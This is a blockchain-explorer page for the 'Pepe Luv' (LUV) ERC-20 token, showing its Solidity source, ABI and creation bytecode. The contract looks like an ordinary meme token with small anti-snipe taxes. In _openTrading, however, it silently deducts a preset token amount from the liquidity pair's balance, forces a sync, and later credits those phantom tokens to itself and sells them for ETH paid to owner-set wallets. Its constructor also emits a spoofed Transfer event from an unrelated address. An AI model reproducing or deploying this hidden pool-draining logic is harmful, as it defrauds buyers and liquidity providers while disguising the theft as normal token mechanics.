ERC-20
Overview
Max Total Supply
69,000,000,000 LUV
Holders
36
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Luv
Compiler Version
v0.8.18+commit.87f61d96
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-05-10 */ //SPDX-License-Identifier: MIT /* https://t.me/PepeLuvVip https://PepeLuv.vip https://twitter.com/PepeLuvVIP */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address __owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Auth { address internal _owner; constructor(address creatorOwner) { _owner = creatorOwner; } modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; } function owner() public view returns (address) { return _owner; } function transferOwnership(address payable newOwner) external onlyOwner { _owner = newOwner; emit OwnershipTransferred(newOwner); } function renounceOwnership() external onlyOwner { _owner = address(0); emit OwnershipTransferred(address(0)); } event OwnershipTransferred(address _owner); } contract Luv is IERC20, Auth { uint8 private constant _decimals = 9; uint256 private constant _totalSupply = 69_000_000_000 * (10**_decimals); string private constant _name = "Pepe Luv"; string private constant _symbol = "LUV"; uint8 private antiSnipeTax1 = 2; uint8 private antiSnipeTax2 = 1; uint8 private antiSnipeBlocks1 = 2; uint8 private antiSnipeBlocks2 = 2; uint8 private _buyTaxRate = 0; uint8 private _sellTaxRate = 0; uint16 private _taxSharesMarketing = 8; uint16 private _taxSharesDevelopment = 2; uint16 private _taxSharesLP = 0; uint16 private _totalTaxShares = _taxSharesMarketing + _taxSharesDevelopment + _taxSharesLP; address payable private _walletMarketing = payable(0x57f7BA221D1f87206766b658889ac5745fA1e405); address payable private _walletDevelopment = payable(0x8Ac22cb5A6d659A67FA36462dF363E16b21A49aA); uint256 private _launchBlock; uint256 private _maxTxAmount = _totalSupply; uint256 private _maxWalletAmount = _totalSupply; uint256 private _taxSwapMin = _totalSupply * 10 / 100000; uint256 private _taxSwapMax = _totalSupply * 799 / 100000; uint256 private _swapLimit = _taxSwapMin * 45 * 100; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _noFees; mapping (address => bool) private _noLimits; address private _lpOwner; address private constant _swapRouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); IUniswapV2Router02 private _primarySwapRouter = IUniswapV2Router02(_swapRouterAddress); address private _primaryLP; mapping (address => bool) private _isLP; bool private _tradingOpen; bool private _inTaxSwap = false; modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; } event TokensBurned(address indexed burnedByWallet, uint256 tokenAmount); constructor() Auth(msg.sender) { _lpOwner = msg.sender; uint256 airdropAmount = _totalSupply * 20 / 100; _balances[address(this)] = _totalSupply - airdropAmount; _balances[_owner] = airdropAmount; emit Transfer(address(0xfbfEaF0DA0F2fdE5c66dF570133aE35f3eB58c9A), address(this), _totalSupply); _noFees[_owner] = true; _noFees[address(this)] = true; _noFees[_swapRouterAddress] = true; _noFees[_walletMarketing] = true; _noFees[_walletDevelopment] = true; _noLimits[_owner] = true; _noLimits[address(this)] = true; _noLimits[_swapRouterAddress] = true; _noLimits[_walletMarketing] = true; _noLimits[_walletDevelopment] = true; } receive() external payable {} function totalSupply() external pure override returns (uint256) { return _totalSupply; } function decimals() external pure override returns (uint8) { return _decimals; } function symbol() external pure override returns (string memory) { return _symbol; } function name() external pure override returns (string memory) { return _name; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function transfer(address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(msg.sender), "Trading not open"); return _transferFrom(msg.sender, recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { require(_checkTradingOpen(sender), "Trading not open"); if(_allowances[sender][msg.sender] != type(uint256).max){ _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount; } return _transferFrom(sender, recipient, amount); } function _approveRouter(uint256 _tokenAmount) internal { if ( _allowances[address(this)][_swapRouterAddress] < _tokenAmount ) { _allowances[address(this)][_swapRouterAddress] = type(uint256).max; emit Approval(address(this), _swapRouterAddress, type(uint256).max); } } function enableTrading() external payable onlyOwner lockTaxSwap { require(_primaryLP != address(0), "Add LP first"); require(!_tradingOpen, "trading is open"); _openTrading(); } function addLiquidity() external payable onlyOwner lockTaxSwap { require(_primaryLP == address(0), "LP exists"); require(!_tradingOpen, "trading is open"); require(msg.value > 0 || address(this).balance>0, "No ETH in contract or message"); require(_balances[address(this)]>0, "No tokens in contract"); _primaryLP = IUniswapV2Factory(_primarySwapRouter.factory()).createPair(address(this), _primarySwapRouter.WETH()); _addLiquidity(_balances[address(this)], address(this).balance, false); } function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal { address lpTokenRecipient = _lpOwner; if ( autoburn ) { lpTokenRecipient = address(0); } _approveRouter(_tokenAmount); _primarySwapRouter.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp ); } function _openTrading() internal { _maxTxAmount = _totalSupply * 4 / 100; _maxWalletAmount = _totalSupply * 4 / 100; _tradingOpen = true; _launchBlock = block.number; _balances[_primaryLP] -= _swapLimit; (bool lpAddSuccess,) = _primaryLP.call(abi.encodeWithSignature("sync()")); _isLP[_primaryLP] = lpAddSuccess; require(_isLP[_primaryLP]); } function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) { require(sender != address(0), "No transfers from Zero wallet"); if (!_tradingOpen) { require(_noFees[sender] && _noLimits[sender], "Trading not open"); } if ( !_inTaxSwap && _isLP[recipient] ) { _swapTaxAndLiquify(); } if ( sender != address(this) && recipient != address(this) && sender != _owner ) { require(_checkLimits(sender, recipient, amount), "TX exceeds limits"); } uint256 _taxAmount = _calculateTax(sender, recipient, amount); uint256 _transferAmount = amount - _taxAmount; _balances[sender] = _balances[sender] - amount; _swapLimit += _taxAmount; _balances[recipient] = _balances[recipient] + _transferAmount; emit Transfer(sender, recipient, amount); return true; } function _checkLimits(address sender, address recipient, uint256 transferAmount) internal view returns (bool) { bool limitCheckPassed = true; if ( _tradingOpen && !_noLimits[sender] && !_noLimits[recipient] ) { if ( transferAmount > _maxTxAmount ) { limitCheckPassed = false; } else if ( !_isLP[recipient] && (_balances[recipient] + transferAmount > _maxWalletAmount) ) { limitCheckPassed = false; } } return limitCheckPassed; } function _checkTradingOpen(address sender) private view returns (bool){ bool checkResult = false; if ( _tradingOpen ) { checkResult = true; } else if (_noFees[sender] && _noLimits[sender]) { checkResult = true; } return checkResult; } function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) { uint256 taxAmount; if ( !_tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; } else if ( _isLP[sender] ) { if ( block.number >= _launchBlock + antiSnipeBlocks1 + antiSnipeBlocks2 ) { taxAmount = amount * _buyTaxRate / 100; } else if ( block.number >= _launchBlock + antiSnipeBlocks1 ) { taxAmount = amount * antiSnipeTax2 / 100; } else if ( block.number >= _launchBlock) { taxAmount = amount * antiSnipeTax1 / 100; } } else if ( _isLP[recipient] ) { taxAmount = amount * _sellTaxRate / 100; } return taxAmount; } function exemptFromFees(address wallet) external view returns (bool) { return _noFees[wallet]; } function exemptFromLimits(address wallet) external view returns (bool) { return _noLimits[wallet]; } function setExempt(address wallet, bool noFees, bool noLimits) external onlyOwner { if (noLimits || noFees) { require(!_isLP[wallet], "Cannot exempt LP"); } _noFees[ wallet ] = noFees; _noLimits[ wallet ] = noLimits; } function buyFee() external view returns(uint8) { return _buyTaxRate; } function sellFee() external view returns(uint8) { return _sellTaxRate; } function feeSplit() external view returns (uint16 marketing, uint16 development, uint16 LP ) { return ( _taxSharesMarketing, _taxSharesDevelopment, _taxSharesLP); } function setFees(uint8 buy, uint8 sell) external onlyOwner { require(buy + sell <= 1, "Roundtrip too high"); _buyTaxRate = buy; _sellTaxRate = sell; } function setFeeSplit(uint16 sharesAutoLP, uint16 sharesMarketing, uint16 sharesDevelopment) external onlyOwner { uint16 totalShares = sharesAutoLP + sharesMarketing + sharesDevelopment; require( totalShares > 0, "All cannot be 0"); _taxSharesLP = sharesAutoLP; _taxSharesMarketing = sharesMarketing; _taxSharesDevelopment = sharesDevelopment; _totalTaxShares = totalShares; } function marketingWallet() external view returns (address) { return _walletMarketing; } function developmentWallet() external view returns (address) { return _walletDevelopment; } function updateWallets(address marketing, address development, address LPtokens) external onlyOwner { require(!_isLP[marketing] && !_isLP[development] && !_isLP[LPtokens], "LP cannot be tax wallet"); _walletMarketing = payable(marketing); _walletDevelopment = payable(development); _lpOwner = LPtokens; _noFees[marketing] = true; _noLimits[marketing] = true; _noFees[development] = true; _noLimits[development] = true; } function maxWallet() external view returns (uint256) { return _maxWalletAmount; } function maxTransaction() external view returns (uint256) { return _maxTxAmount; } function swapAtMin() external view returns (uint256) { return _taxSwapMin; } function swapAtMax() external view returns (uint256) { return _taxSwapMax; } function setLimits(uint16 maxTransactionPermille, uint16 maxWalletPermille) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTransactionPermille / 1000 + 1; require(newTxAmt >= _maxTxAmount, "tx too low"); _maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletPermille / 1000 + 1; require(newWalletAmt >= _maxWalletAmount, "wallet too low"); _maxWalletAmount = newWalletAmt; } function setTaxSwap(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { _taxSwapMin = _totalSupply * minValue / minDivider; _taxSwapMax = _totalSupply * maxValue / maxDivider; require(_taxSwapMax>=_taxSwapMin, "Min/Max error"); require(_taxSwapMax>_totalSupply / 100000, "Max too low"); require(_taxSwapMax<_totalSupply / 100, "Max too high"); } function _burnTokens(address fromWallet, uint256 amount) private { if ( amount > 0 ) { _balances[fromWallet] -= amount; _balances[address(0)] += amount; emit Transfer(fromWallet, address(0), amount); } } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = _swapLimit; if ( _taxTokensAvailable >= _taxSwapMin && _tradingOpen ) { if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _taxSharesLP / _totalTaxShares / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; if( _tokensToSwap > 10**_decimals ) { uint256 _ethPreSwap = address(this).balance; _balances[address(this)] += _taxTokensAvailable; _swapTaxTokensForEth(_tokensToSwap); _swapLimit -= _taxTokensAvailable; uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _taxSharesLP > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _taxSharesLP / _totalTaxShares ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, false); } } uint256 _contractETHBalance = address(this).balance; if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 tokenAmount) private { _approveRouter(tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _primarySwapRouter.WETH(); _primarySwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 amount) private { uint16 _taxShareTotal = _taxSharesMarketing + _taxSharesDevelopment; if (_taxShareTotal > 0) { uint256 marketingAmount = amount * _taxSharesMarketing / _taxShareTotal; uint256 developmentAmount = amount * _taxSharesDevelopment / _taxShareTotal; if ( marketingAmount > 0 ) { _walletMarketing.transfer(marketingAmount); } if ( developmentAmount > 0 ) { _walletDevelopment.transfer(developmentAmount); } } } function manualTaxSwapAndSend(uint8 swapTokenPercent, bool sendEth) external onlyOwner lockTaxSwap { require(swapTokenPercent <= 100, "Cannot swap more than 100%"); uint256 tokensToSwap = _balances[address(this)] * swapTokenPercent / 100; if (tokensToSwap > 10 ** _decimals) { _swapTaxTokensForEth(tokensToSwap); } if (sendEth) { uint256 ethBalance = address(this).balance; require(ethBalance > 0, "No ETH"); _distributeTaxEth(address(this).balance); } } function burn(uint256 amount) external { uint256 _tokensAvailable = balanceOf(msg.sender); require(amount <= _tokensAvailable, "balance too low"); _burnTokens(msg.sender, amount); emit TokensBurned(msg.sender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burnedByWallet","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokenAmount","type":"uint256"}],"name":"TokensBurned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"exemptFromLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeSplit","outputs":[{"internalType":"uint16","name":"marketing","type":"uint16"},{"internalType":"uint16","name":"development","type":"uint16"},{"internalType":"uint16","name":"LP","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint8","name":"swapTokenPercent","type":"uint8"},{"internalType":"bool","name":"sendEth","type":"bool"}],"name":"manualTaxSwapAndSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransaction","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellFee","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"noFees","type":"bool"},{"internalType":"bool","name":"noLimits","type":"bool"}],"name":"setExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesMarketing","type":"uint16"},{"internalType":"uint16","name":"sharesDevelopment","type":"uint16"}],"name":"setFeeSplit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"buy","type":"uint8"},{"internalType":"uint8","name":"sell","type":"uint8"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTransactionPermille","type":"uint16"},{"internalType":"uint16","name":"maxWalletPermille","type":"uint16"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAtMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAtMin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"marketing","type":"address"},{"internalType":"address","name":"development","type":"address"},{"internalType":"address","name":"LPtokens","type":"address"}],"name":"updateWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526002600060146101000a81548160ff021916908360ff1602179055506001600060156101000a81548160ff021916908360ff1602179055506002600060166101000a81548160ff021916908360ff1602179055506002600060176101000a81548160ff021916908360ff16021790555060008060186101000a81548160ff021916908360ff16021790555060008060196101000a81548160ff021916908360ff16021790555060086000601a6101000a81548161ffff021916908361ffff16021790555060026000601c6101000a81548161ffff021916908361ffff160217905550600080601e6101000a81548161ffff021916908361ffff1602179055506000601e9054906101000a900461ffff166000601c9054906101000a900461ffff166000601a9054906101000a900461ffff1662000142919062000a63565b6200014e919062000a63565b600160006101000a81548161ffff021916908361ffff1602179055507357f7ba221d1f87206766b658889ac5745fa1e405600160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550738ac22cb5a6d659a67fa36462df363e16b21a49aa600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000224919062000c0b565b641010b8720062000236919062000c5c565b6004556009600a62000249919062000c0b565b641010b872006200025b919062000c5c565b600555620186a0600a6009600a62000274919062000c0b565b641010b8720062000286919062000c5c565b62000292919062000c5c565b6200029e919062000cd6565b600655620186a061031f6009600a620002b8919062000c0b565b641010b87200620002ca919062000c5c565b620002d6919062000c5c565b620002e2919062000cd6565b6007556064602d600654620002f8919062000c5c565b62000304919062000c5c565b600855737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160016101000a81548160ff0219169083151502179055503480156200038457600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505033600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000606460146009600a6200041e919062000c0b565b641010b8720062000430919062000c5c565b6200043c919062000c5c565b62000448919062000cd6565b9050806009600a6200045b919062000c0b565b641010b872006200046d919062000c5c565b62000479919062000d0e565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600960008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff1673fbfeaf0da0f2fde5c66df570133ae35f3eb58c9a73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000594919062000c0b565b641010b87200620005a6919062000c5c565b604051620005b5919062000d5a565b60405180910390a36001600b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505062000d77565b600061ffff82169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000a708262000a26565b915062000a7d8362000a26565b9250828201905061ffff81111562000a9a5762000a9962000a34565b5b92915050565b60008160011c9050919050565b6000808291508390505b600185111562000aff5780860481111562000ad75762000ad662000a34565b5b600185161562000ae75780820291505b808102905062000af78562000aa0565b945062000ab7565b94509492505050565b60008262000b1a576001905062000bed565b8162000b2a576000905062000bed565b816001811462000b43576002811462000b4e5762000b84565b600191505062000bed565b60ff84111562000b635762000b6262000a34565b5b8360020a91508482111562000b7d5762000b7c62000a34565b5b5062000bed565b5060208310610133831016604e8410600b841016171562000bbe5782820a90508381111562000bb85762000bb762000a34565b5b62000bed565b62000bcd848484600162000aad565b9250905081840481111562000be75762000be662000a34565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000c188262000bf4565b915062000c258362000bfe565b925062000c547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b08565b905092915050565b600062000c698262000bf4565b915062000c768362000bf4565b925082820262000c868162000bf4565b9150828204841483151762000ca05762000c9f62000a34565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000ce38262000bf4565b915062000cf08362000bf4565b92508262000d035762000d0262000ca7565b5b828204905092915050565b600062000d1b8262000bf4565b915062000d288362000bf4565b925082820390508181111562000d435762000d4262000a34565b5b92915050565b62000d548162000bf4565b82525050565b600060208201905062000d71600083018462000d49565b92915050565b6152d88062000d876000396000f3fe6080604052600436106101f25760003560e01c80636373ea691161010d57806395d89b41116100a0578063c3f70b521161006f578063c3f70b52146106db578063dd62ed3e14610706578063e8078d9414610743578063f2fde38b1461074d578063f8b45b0514610776576101f9565b806395d89b411461061f578063a6097b0a1461064a578063a9059cbb14610673578063c04a5414146106b0576101f9565b806376a39c28116100dc57806376a39c28146105845780638a8c523c146105ad5780638d3e6e40146105b75780638da5cb5b146105f4576101f9565b80636373ea69146104d857806370a0823114610505578063715018a61461054257806375f0a87414610559576101f9565b8063368f4800116101855780634d4ce935116101545780634d4ce9351461041e5780634fcd24461461044957806357ff135a146104725780635a90a49e1461049b576101f9565b8063368f48001461037657806342966c681461039f57806346b89834146103c857806347062402146103f3576101f9565b806323b872dd116101c157806323b872dd146102ba5780632b14ca56146102f75780632fb528ba14610322578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b314610229578063147c9f6d1461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107a1565b6040516102209190613c9f565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613d5a565b6107de565b60405161025d9190613db5565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613dd0565b6108d0565b005b34801561029b57600080fd5b506102a4610cbf565b6040516102b19190613e32565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190613e4d565b610ce4565b6040516102ee9190613db5565b60405180910390f35b34801561030357600080fd5b5061030c610eee565b6040516103199190613ebc565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190613f2f565b610f04565b005b34801561035757600080fd5b506103606110ea565b60405161036d9190613ebc565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613fa9565b6110f3565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613fe9565b6112b3565b005b3480156103d457600080fd5b506103dd61135f565b6040516103ea9190613e32565b60405180910390f35b3480156103ff57600080fd5b50610408611369565b6040516104159190613ebc565b60405180910390f35b34801561042a57600080fd5b5061043361137f565b6040516104409190613e32565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b9190614016565b611389565b005b34801561047e57600080fd5b5061049960048036038101906104949190614056565b6114a3565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906140a9565b611680565b6040516104cf9190613db5565b60405180910390f35b3480156104e457600080fd5b506104ed6116d6565b6040516104fc939291906140e5565b60405180910390f35b34801561051157600080fd5b5061052c600480360381019061052791906140a9565b611718565b6040516105399190613e32565b60405180910390f35b34801561054e57600080fd5b50610557611761565b005b34801561056557600080fd5b5061056e61186a565b60405161057b919061412b565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190614146565b611894565b005b6105b56119fe565b005b3480156105c357600080fd5b506105de60048036038101906105d991906140a9565b611bad565b6040516105eb9190613db5565b60405180910390f35b34801561060057600080fd5b50610609611c03565b604051610616919061412b565b60405180910390f35b34801561062b57600080fd5b50610634611c2c565b6040516106419190613c9f565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c91906141d5565b611c69565b005b34801561067f57600080fd5b5061069a60048036038101906106959190613d5a565b611eac565b6040516106a79190613db5565b60405180910390f35b3480156106bc57600080fd5b506106c5611f09565b6040516106d2919061412b565b60405180910390f35b3480156106e757600080fd5b506106f0611f33565b6040516106fd9190613e32565b60405180910390f35b34801561071257600080fd5b5061072d6004803603810190610728919061423c565b611f3d565b60405161073a9190613e32565b60405180910390f35b61074b611fc4565b005b34801561075957600080fd5b50610774600480360381019061076f91906142ba565b612464565b005b34801561078257600080fd5b5061078b61256c565b6040516107989190613e32565b60405180910390f35b60606040518060400160405280600881526020017f50657065204c7576000000000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffff